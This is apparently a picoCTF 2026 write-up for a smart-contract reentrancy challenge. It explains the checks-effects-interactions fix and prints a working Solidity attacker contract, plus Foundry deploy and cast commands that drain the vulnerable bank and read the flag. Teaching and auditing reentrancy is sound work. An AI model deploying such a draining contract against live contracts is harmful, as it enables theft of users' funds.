Reentrance picoCTF 2026 Solution

Description

1. Step 1Identify the reentrancy vulnerability
   The contract sends ETH to the caller before updating the balance (checks-effects-interactions pattern violated). A malicious contract can call back into withdraw() in its receive() function before the balance is zeroed, draining all funds.
   Learn more

   Reentrancy is the bug class behind the 2016 DAO hack (~$60M ETH). It happens when a contract makes an external call before finishing its own state update. The external call hands control to the recipient, who can call back into the original function while balances are still stale.

   Walk the call stack. The vulnerable withdraw() looks roughly like: (1) check balances[msg.sender] >= amount, (2) msg.sender.call{value: amount}(""), (3) balances[msg.sender] -= amount. The .call in step 2 hands execution to the recipient's receive()/fallback. The fallback fires after the ETH transfer leaves the contract, but before control returns to step 3 to decrement the balance. Inside the fallback, a fresh call into withdraw() still sees the original balance, passes the check, and pulls another amount out. The stack unwinds bottom-up; every nested frame eventually decrements, but by then the funds are gone.

   The checks-effects-interactions pattern is the standard fix: validate (checks), mutate state (effects), then call external addresses (interactions). Setting balances[msg.sender] = 0 before .call means the recursive entry fails the balance check on the second call.

   The 2300-gas stipend. transfer() and send() forward exactly 2300 gas to the recipient. That covers an event log emit and a couple of SLOADs, but not another CALL opcode (which alone needs more than that), and definitely not another full withdraw(). Raw .call{value: amount}("") forwards all remaining gas, which is why it is the dangerous primitive. Post-Istanbul the 2300 stipend is borderline for any real fallback logic, so most projects use .call plus a nonReentrant guard rather than relying on the stipend.

   See smart contract CTF bugs for the broader Solidity bug taxonomy.

2. Step 2Write the attacker contract
   Deploy an attacker contract that deposits ETH, then calls withdraw(). In its receive() fallback, it calls withdraw() again recursively until the vault is drained.
   js

   cat > Attacker.sol << 'EOF'
   // SPDX-License-Identifier: MIT
   pragma solidity ^0.8.0;
   
   interface IVulnBank {
       function deposit() external payable;
       function withdraw(uint256 amount) external;
       function getFlag() external view returns (string memory);
   }
   
   contract Attacker {
       IVulnBank public target;
       uint256 public attackAmount;
   
       constructor(address _target) {
           target = IVulnBank(_target);
       }
   
       function attack() external payable {
           attackAmount = msg.value;
           target.deposit{value: msg.value}();
           target.withdraw(msg.value);
       }
   
       receive() external payable {
           if (address(target).balance >= attackAmount) {
               target.withdraw(attackAmount);
           }
       }
   
       function getFlag() external view returns (string memory) {
           return target.getFlag();
       }
   }
   EOF

   Copied!
   Learn more

   The attacker contract leans on Solidity's receive() fallback. When VulnBank.withdraw() sends ETH to the attacker via .call or .transfer, the EVM hands execution to receive() before withdraw() finishes. receive() calls back into withdraw(), which still sees the un-decremented balance.

   The if (address(target).balance >= attackAmount) guard bounds recursion. Each nested withdraw drains attackAmount from the target. Once the target's balance drops below attackAmount, the next iteration would fail the bank's own balance check (or revert on transfer), so we stop early. The recursion depth is target_balance / attackAmount, capped well under the EVM's ~1024-frame call stack limit.

   A minimal Foundry deploy script:

   // Attack.s.sol
   import "forge-std/Script.sol";
   import "./Attacker.sol";
   
   contract AttackScript is Script {
       function run() external {
           vm.startBroadcast();
           Attacker attacker = new Attacker(VULN_BANK_ADDRESS);
           attacker.attack{value: 1 ether}();
           vm.stopBroadcast();
       }
   }

   Deploy with forge script Attack.s.sol --rpc-url $RPC --private-key $PK --broadcast. Foundry (Rust-based) has largely replaced Hardhat/Truffle in security research because forge test runs Solidity-native fuzzing and invariants in milliseconds.

3. Step 3Deploy, attack, and read the flag
   Deploy the attacker contract, call attack() with some ETH, and once the vault is drained, call getFlag() to retrieve the flag.
   bash

   # Using Foundry:

   Copied!

   bash

   forge script Attack.s.sol --rpc-url RPC_URL --private-key PRIVATE_KEY --broadcast

   Copied!

   bash

   cast call ATTACKER_ADDR 'getFlag()(string)' --rpc-url RPC_URL

   Copied!
   Learn more

   Foundry scripts are Solidity files that inherit from Script and use vm.startBroadcast() to submit real transactions to the network. The --broadcastflag tells Foundry to actually sign and send these transactions rather than just simulating them. The RPC URL points to the challenge's local or testnet Ethereum node.

   After the vault is drained, the contract's win condition is satisfied. Many CTF smart contract challenges use a pattern where isSolved() returns true once the exploit succeeds, and getFlag() returns the flag string only when the win condition is met. The flag is returned as a plain string from a view function, so cast call (which makes a read-only call, no gas required) is sufficient to retrieve it.

   In real-world smart contract auditing, finding and responsibly disclosing reentrancy vulnerabilities is highly valued. Audit firms like Trail of Bits, OpenZeppelin, and Certik charge substantial fees to review contracts for exactly these issues before deployment. The Ethereum ecosystem maintains a registry of known vulnerabilities and incident post-mortems at resources like SWC Registry (Smart Contract Weakness Classification) that mirrors the CVE database for blockchain security.

Flag

Classic reentrancy attack: the contract sends ETH before updating state, allowing recursive withdrawal to drain the vault.